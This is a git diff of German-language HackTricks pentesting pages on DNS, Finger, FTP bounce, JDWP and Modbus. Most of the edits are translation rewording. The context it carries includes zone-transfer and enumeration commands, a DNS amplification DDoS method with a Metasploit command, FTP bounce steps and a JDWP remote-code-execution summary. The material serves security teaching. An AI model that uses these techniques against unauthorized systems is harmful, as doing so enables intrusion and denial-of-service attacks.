* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Sofort verfügbarer Aufbau für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools und Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Tools, Erkennungs- und Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und Ihre Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Privilegien zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte umwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -34,12 +36,12 @@ PORT STATE SERVICE REASON
|
|||
```
|
||||
### Different DNS Servers
|
||||
|
||||
* **DNS Root Servers**: Diese stehen an der Spitze der DNS-Hierarchie, verwalten die Top-Level-Domains und treten nur ein, wenn niedrigere Server nicht antworten. Die Internet Corporation for Assigned Names and Numbers (**ICANN**) überwacht ihren Betrieb, mit einer globalen Anzahl von 13.
|
||||
* **DNS Root Servers**: Diese befinden sich an der Spitze der DNS-Hierarchie, verwalten die Top-Level-Domains und treten nur ein, wenn niedrigere Server nicht antworten. Die Internet Corporation for Assigned Names and Numbers (**ICANN**) überwacht ihren Betrieb, mit einer globalen Anzahl von 13.
|
||||
* **Authoritative Nameservers**: Diese Server haben das letzte Wort für Anfragen in ihren zugewiesenen Zonen und bieten definitive Antworten. Wenn sie keine Antwort geben können, wird die Anfrage an die Root-Server weitergeleitet.
|
||||
* **Non-authoritative Nameservers**: Diese Server haben keine Eigentumsrechte an DNS-Zonen und sammeln Domaininformationen durch Anfragen an andere Server.
|
||||
* **Caching DNS Server**: Diese Art von Server speichert frühere Abfrageantworten für eine bestimmte Zeit, um die Antwortzeiten für zukünftige Anfragen zu beschleunigen, wobei die Cache-Dauer vom autoritativen Server bestimmt wird.
|
||||
* **Forwarding Server**: Diese Server haben eine einfache Rolle und leiten Anfragen einfach an einen anderen Server weiter.
|
||||
* **Resolver**: In Computer oder Router integriert, führen Resolver die Namensauflösung lokal durch und gelten nicht als autoritativ.
|
||||
* **Resolver**: In Computer oder Router integriert, führen Resolver die Namensauflösung lokal durch und werden nicht als autoritativ betrachtet.
|
||||
|
||||
## Enumeration
|
||||
|
||||
|
@ -58,7 +60,7 @@ Es ist auch möglich, das Banner mit einem **nmap**-Skript abzurufen:
|
|||
```
|
||||
### **Any record**
|
||||
|
||||
Der Eintrag **ANY** fordert den DNS-Server auf, **alle** verfügbaren **Einträge** zurückzugeben, die **er bereit ist offenzulegen**.
|
||||
Der Datensatz **ANY** fordert den DNS-Server auf, **alle** verfügbaren **Einträge** zurückzugeben, die **er bereit ist offenzulegen**.
|
||||
```bash
|
||||
dig any victim.com @<DNS_IP>
|
||||
```
|
||||
|
@ -70,7 +72,7 @@ dig axfr @<DNS_IP> #Try zone transfer without domain
|
|||
dig axfr @<DNS_IP> <DOMAIN> #Try zone transfer guessing the domain
|
||||
fierce --domain <DOMAIN> --dns-servers <DNS_IP> #Will try toperform a zone transfer against every authoritative name server and if this doesn'twork, will launch a dictionary attack
|
||||
```
|
||||
### Mehr Informationen
|
||||
### Weitere Informationen
|
||||
```bash
|
||||
dig ANY @<DNS_IP> <DOMAIN> #Any information
|
||||
dig A @<DNS_IP> <DOMAIN> #Regular DNS request
|
||||
|
@ -113,7 +115,7 @@ dnsrecon -r <IP_DNS>/24 -n <IP_DNS> #DNS reverse of all of the addresses
|
|||
dnsrecon -d active.htb -a -n <IP_DNS> #Zone transfer
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Wenn Sie in der Lage sind, Subdomains zu finden, die auf interne IP-Adressen auflösen, sollten Sie versuchen, einen Reverse-DNS-BF zu den NSs der Domain durchzuführen, die nach diesem IP-Bereich fragen.
|
||||
Wenn Sie in der Lage sind, Subdomains zu finden, die auf interne IP-Adressen auflösen, sollten Sie versuchen, ein Reverse-DNS-BF zu den NSs der Domain durchzuführen, die nach diesem IP-Bereich fragen.
|
||||
{% endhint %}
|
||||
|
||||
Ein weiteres Tool dafür: [https://github.com/amine7536/reverse-scan](https://github.com/amine7536/reverse-scan)
|
||||
|
@ -156,7 +158,7 @@ dnsrevenum6 pri.authdns.ripe.net 2001:67c:2e8::/48 #Will use the dns pri.authdns
|
|||
### DNS-Rekursion DDoS
|
||||
|
||||
Wenn **DNS-Rekursion aktiviert ist**, könnte ein Angreifer die **Ursprungsadresse** im UDP-Paket **fälschen**, um die **DNS dazu zu bringen, die Antwort an den Opfer-Server zu senden**. Ein Angreifer könnte die **ANY**- oder **DNSSEC**-Recordtypen missbrauchen, da sie in der Regel die größeren Antworten haben.\
|
||||
Der Weg, um zu **überprüfen**, ob ein DNS **Rekursion** unterstützt, besteht darin, einen Domainnamen abzufragen und zu **überprüfen**, ob das **Flag "ra"** (_Rekursion verfügbar_) in der Antwort enthalten ist:
|
||||
Der Weg, um zu **überprüfen**, ob ein DNS **Rekursion** unterstützt, besteht darin, einen Domainnamen abzufragen und zu **prüfen**, ob das **Flag "ra"** (_Rekursion verfügbar_) in der Antwort enthalten ist:
|
||||
```bash
|
||||
dig google.com A @<IP>
|
||||
```
|
||||
|
@ -170,7 +172,9 @@ dig google.com A @<IP>
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools und Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Tools, Erkennungs- und Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und die Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Nutzen Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Berechtigungen zu eskalieren, und verwenden Sie automatisierte Exploits, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -182,7 +186,7 @@ Der bereitgestellte Nichtzustellungsbericht enthält Informationen wie:
|
|||
|
||||
* Der generierende Server wurde als `server.example.com` identifiziert.
|
||||
* Eine Fehlermeldung für `user@example.com` mit dem Fehlercode `#550 5.1.1 RESOLVER.ADR.RecipNotFound; nicht gefunden` wurde zurückgegeben.
|
||||
* Interne IP-Adressen und Hostnamen wurden in den ursprünglichen Nachrichten-Headern offengelegt.
|
||||
* Interne IP-Adressen und Hostnamen wurden in den ursprünglichen Nachrichtenkopfzeilen offengelegt.
|
||||
```markdown
|
||||
The original message headers were modified for anonymity and now present randomized data:
|
||||
|
||||
|
@ -220,10 +224,10 @@ Gefährliche Einstellungen bei der Konfiguration eines Bind-Servers:
|
|||
|
||||
| **Option** | **Beschreibung** |
|
||||
| ----------------- | ------------------------------------------------------------------------------ |
|
||||
| `allow-query` | Definiert, welche Hosts Anfragen an den DNS-Server senden dürfen. |
|
||||
| `allow-recursion` | Definiert, welche Hosts rekursive Anfragen an den DNS-Server senden dürfen. |
|
||||
| `allow-transfer` | Definiert, welche Hosts Zonentransfers vom DNS-Server empfangen dürfen. |
|
||||
| `zone-statistics` | Sammelt statistische Daten von Zonen. |
|
||||
| `allow-query` | Definiert, welche Hosts Anfragen an den DNS-Server senden dürfen. |
|
||||
| `allow-recursion` | Definiert, welche Hosts rekursive Anfragen an den DNS-Server senden dürfen. |
|
||||
| `allow-transfer` | Definiert, welche Hosts Zonentransfers vom DNS-Server empfangen dürfen. |
|
||||
| `zone-statistics` | Sammelt statistische Daten von Zonen. |
|
||||
|
||||
## Referenzen
|
||||
|
||||
|
@ -285,7 +289,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/dns/dns_amp; set RHOSTS {IP}; s
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools und Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Tools, Erkennungs- und Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und die Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Berechtigungen zu eskalieren, und nutzen Sie automatisierte Exploits, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -17,13 +17,15 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Sofort verfügbarer Aufbau für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools und Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Tools, Erkennungs- und Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu knacken und Spaß zu haben.
|
||||
#### Holen Sie sich die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und die Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Sicherheitsanfälligkeiten mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Berechtigungen zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, wodurch Ihre harte Arbeit in überzeugende Berichte umgewandelt wird.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## **Grundinformationen**
|
||||
|
||||
Das **Finger**-Programm/-Dienst wird verwendet, um Details über Computerbenutzer abzurufen. Typischerweise umfasst die bereitgestellte Information den **Benutzernamen, vollständigen Namen** und in einigen Fällen zusätzliche Details. Diese zusätzlichen Details können den Bürostandort und die Telefonnummer (sofern verfügbar), die Zeit, zu der sich der Benutzer angemeldet hat, die Inaktivitätsdauer (Leerlaufzeit), den letzten Zeitpunkt, an dem die E-Mail vom Benutzer gelesen wurde, sowie den Inhalt der Plan- und Projektdateien des Benutzers umfassen.
|
||||
Das **Finger**-Programm/-Dienst wird verwendet, um Details über Computerbenutzer abzurufen. Typischerweise umfasst die bereitgestellte Information den **Benutzernamen, vollständigen Namen** und in einigen Fällen zusätzliche Details. Diese zusätzlichen Details könnten den Bürostandort und die Telefonnummer (sofern verfügbar), die Zeit, zu der sich der Benutzer angemeldet hat, die Inaktivitätsdauer (Leerlaufzeit), den letzten Zeitpunkt, an dem die E-Mail vom Benutzer gelesen wurde, sowie den Inhalt der Plan- und Projektdateien des Benutzers umfassen.
|
||||
|
||||
**Standardport:** 79
|
||||
```
|
||||
|
@ -73,7 +75,9 @@ finger @internal@external
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools und Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Tools, Erkennungs- und Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und die Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Berechtigungen zu eskalieren, und nutzen Sie automatisierte Exploits, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -8,14 +8,16 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos sendest.
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests**. Führe einen vollständigen Pentest von überall mit 20+ Tools & Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Tools, Erkennungs- & Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
|
||||
#### Erhalte die Perspektive eines Hackers auf deine Webanwendungen, dein Netzwerk und die Cloud
|
||||
|
||||
**Finde und melde kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Nutze unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die dir ermöglichen, Privilegien zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, die deine harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -30,12 +32,12 @@ Wenn du Zugriff auf einen Bounce-FTP-Server hast, kannst du ihn dazu bringen, Da
|
|||
- Gültige FTP-Anmeldeinformationen im Opfer-FTP-Server
|
||||
- Beide Server akzeptieren den PORT-Befehl \(Bounce-FTP-Angriff\)
|
||||
- Du kannst in ein Verzeichnis des FTP-Mittelsservers schreiben
|
||||
- Der Mittelsserver hat aus irgendeinem Grund mehr Zugriff auf den Opfer-FTP-Server als du \(das ist das, was du ausnutzen wirst\)
|
||||
- Der Mittelsserver hat aus irgendeinem Grund mehr Zugriff auf den Opfer-FTP-Server als du \(das wirst du ausnutzen\)
|
||||
|
||||
## Schritte
|
||||
|
||||
1. Verbinde dich mit deinem eigenen FTP-Server und mache die Verbindung passiv \(PASV-Befehl\), damit er in einem Verzeichnis lauscht, in das der Opferdienst die Datei senden wird.
|
||||
2. Erstelle die Datei, die der FTP-Mittelsserver an den Opferserver senden wird \(der Exploit\). Diese Datei wird ein Klartext der benötigten Befehle zur Authentifizierung gegen den Opferserver, zum Wechseln des Verzeichnisses und zum Herunterladen einer Datei auf deinen eigenen Server sein.
|
||||
2. Erstelle die Datei, die der FTP-Mittelsserver an den Opferserver senden wird \(den Exploit\). Diese Datei wird ein Klartext der benötigten Befehle zur Authentifizierung gegen den Opferserver, zum Wechseln des Verzeichnisses und zum Herunterladen einer Datei auf deinen eigenen Server sein.
|
||||
3. Verbinde dich mit dem FTP-Mittelsserver und lade die vorherige Datei hoch.
|
||||
4. Lass den FTP-Mittelsserver eine Verbindung mit dem Opferserver herstellen und die Exploit-Datei senden.
|
||||
5. Fange die Datei auf deinem eigenen FTP-Server ab.
|
||||
|
@ -46,7 +48,9 @@ Für detailliertere Informationen siehe den Beitrag: [http://www.ouah.org/ftpbou
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests**. Führe einen vollständigen Pentest von überall mit 20+ Tools & Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Tools, Erkennungs- & Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
|
||||
#### Erhalte die Perspektive eines Hackers auf deine Webanwendungen, dein Netzwerk und die Cloud
|
||||
|
||||
**Finde und melde kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Nutze unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die dir ermöglichen, Privilegien zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, die deine harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -60,7 +64,7 @@ Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos sendest.
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,13 +17,15 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools & Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- & Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und Ihre Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Berechtigungen zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, die Ihre harte Arbeit in überzeugende Berichte verwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Ausnutzen
|
||||
|
||||
Die Ausnutzung von JDWP basiert auf dem **Fehlen von Authentifizierung und Verschlüsselung** des Protokolls. Es wird normalerweise auf **Port 8000** gefunden, aber andere Ports sind möglich. Die erste Verbindung erfolgt durch das Senden eines "JDWP-Handshake" an den Zielport. Wenn ein JDWP-Dienst aktiv ist, antwortet er mit demselben String und bestätigt damit seine Anwesenheit. Dieser Handshake dient als Fingerabdruckmethode zur Identifizierung von JDWP-Diensten im Netzwerk.
|
||||
Die Ausnutzung von JDWP basiert auf dem **Fehlen von Authentifizierung und Verschlüsselung** im Protokoll. Es wird normalerweise auf **Port 8000** gefunden, aber andere Ports sind möglich. Die erste Verbindung erfolgt durch das Senden eines "JDWP-Handshake" an den Zielport. Wenn ein JDWP-Dienst aktiv ist, antwortet er mit demselben String und bestätigt damit seine Anwesenheit. Dieser Handshake dient als Fingerabdruckmethode zur Identifizierung von JDWP-Diensten im Netzwerk.
|
||||
|
||||
In Bezug auf die Prozessidentifikation kann die Suche nach dem String "jdwk" in Java-Prozessen auf eine aktive JDWP-Sitzung hinweisen.
|
||||
|
||||
|
@ -40,21 +42,21 @@ Ich habe festgestellt, dass die Verwendung von `--break-on 'java.lang.String.ind
|
|||
**Dies ist eine Zusammenfassung von [https://ioactive.com/hacking-java-debug-wire-protocol-or-how/](https://ioactive.com/hacking-java-debug-wire-protocol-or-how/)**. Überprüfen Sie es für weitere Details.
|
||||
|
||||
1. **JDWP Übersicht**:
|
||||
- Es handelt sich um ein paketbasiertes Netzwerk-Binärprotokoll, das hauptsächlich synchron ist.
|
||||
- Es handelt sich um ein paketbasiertes, binäres Netzwerkprotokoll, das hauptsächlich synchron ist.
|
||||
- Es fehlt an Authentifizierung und Verschlüsselung, was es anfällig macht, wenn es feindlichen Netzwerken ausgesetzt ist.
|
||||
|
||||
2. **JDWP Handshake**:
|
||||
- Ein einfacher Handshake-Prozess wird verwendet, um die Kommunikation zu initiieren. Ein 14-Zeichen-ASCII-String „JDWP-Handshake“ wird zwischen dem Debugger (Client) und dem Debuggee (Server) ausgetauscht.
|
||||
|
||||
3. **JDWP Kommunikation**:
|
||||
- Nachrichten haben eine einfache Struktur mit Feldern wie Länge, Id, Flag und CommandSet.
|
||||
- Nachrichten haben eine einfache Struktur mit Feldern wie Länge, ID, Flag und CommandSet.
|
||||
- Die Werte des CommandSet reichen von 0x40 bis 0x80 und repräsentieren verschiedene Aktionen und Ereignisse.
|
||||
|
||||
4. **Ausnutzung**:
|
||||
4. **Exploitation**:
|
||||
- JDWP ermöglicht das Laden und Aufrufen beliebiger Klassen und Bytecode, was Sicherheitsrisiken birgt.
|
||||
- Der Artikel beschreibt einen Ausnutzungsprozess in fünf Schritten, der das Abrufen von Java Runtime-Referenzen, das Setzen von Haltepunkten und das Aufrufen von Methoden umfasst.
|
||||
- Der Artikel beschreibt einen Exploitationsprozess in fünf Schritten, der das Abrufen von Java Runtime-Referenzen, das Setzen von Haltepunkten und das Aufrufen von Methoden umfasst.
|
||||
|
||||
5. **Echte Ausnutzung**:
|
||||
5. **Echte Exploitation**:
|
||||
- Trotz potenzieller Firewall-Schutzmaßnahmen sind JDWP-Dienste in realen Szenarien entdeckbar und ausnutzbar, wie durch Suchen auf Plattformen wie ShodanHQ und GitHub demonstriert.
|
||||
- Das Exploit-Skript wurde gegen verschiedene JDK-Versionen getestet und ist plattformunabhängig, was zuverlässige Remote Code Execution (RCE) bietet.
|
||||
|
||||
|
@ -78,7 +80,9 @@ Ich habe festgestellt, dass die Verwendung von `--break-on 'java.lang.String.ind
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall mit 20+ Tools und Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- & Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und die Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Berechtigungen zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, und Ihre harte Arbeit in überzeugende Berichte umzuwandeln.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -15,14 +15,16 @@ Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Sofort verfügbare Einrichtung für Schwachstellenbewertung & Penetrationstests**. Führen Sie einen vollständigen Pentest von überall mit über 20 Tools & Funktionen durch, die von Recon bis Reporting reichen. Wir ersetzen keine Pentester - wir entwickeln maßgeschneiderte Tools, Erkennungs- & Ausnutzungs-Module, um ihnen etwas Zeit zurückzugeben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.
|
||||
#### Erhalten Sie die Perspektive eines Hackers auf Ihre Webanwendungen, Ihr Netzwerk und Ihre Cloud
|
||||
|
||||
**Finden und melden Sie kritische, ausnutzbare Schwachstellen mit echtem Geschäftsauswirkungen.** Verwenden Sie unsere 20+ benutzerdefinierten Tools, um die Angriffsfläche zu kartieren, Sicherheitsprobleme zu finden, die Ihnen ermöglichen, Privilegien zu eskalieren, und automatisierte Exploits zu verwenden, um wesentliche Beweise zu sammeln, wodurch Ihre harte Arbeit in überzeugende Berichte umgewandelt wird.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
||||
# Grundinformationen
|
||||
|
||||
1979 wurde das **Modbus-Protokoll** von Modicon entwickelt und dient als Nachrichtenstruktur. Seine Hauptnutzung besteht darin, die Kommunikation zwischen intelligenten Geräten zu erleichtern, die nach einem Master-Slave-/Client-Server-Modell arbeiten. Dieses Protokoll spielt eine entscheidende Rolle bei der effizienten Datenübertragung zwischen Geräten.
|
||||
Im Jahr 1979 wurde das **Modbus-Protokoll** von Modicon entwickelt und dient als Nachrichtenstruktur. Sein Hauptzweck besteht darin, die Kommunikation zwischen intelligenten Geräten zu erleichtern, die nach einem Master-Slave-/Client-Server-Modell arbeiten. Dieses Protokoll spielt eine entscheidende Rolle bei der effizienten Datenübertragung zwischen Geräten.
|
||||
|
||||
**Standardport:** 502
|
||||
```
|
||||
|
@ -36,22 +38,24 @@ msf> use auxiliary/scanner/scada/modbusdetect
|
|||
msf> use auxiliary/scanner/scada/modbus_findunitid
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
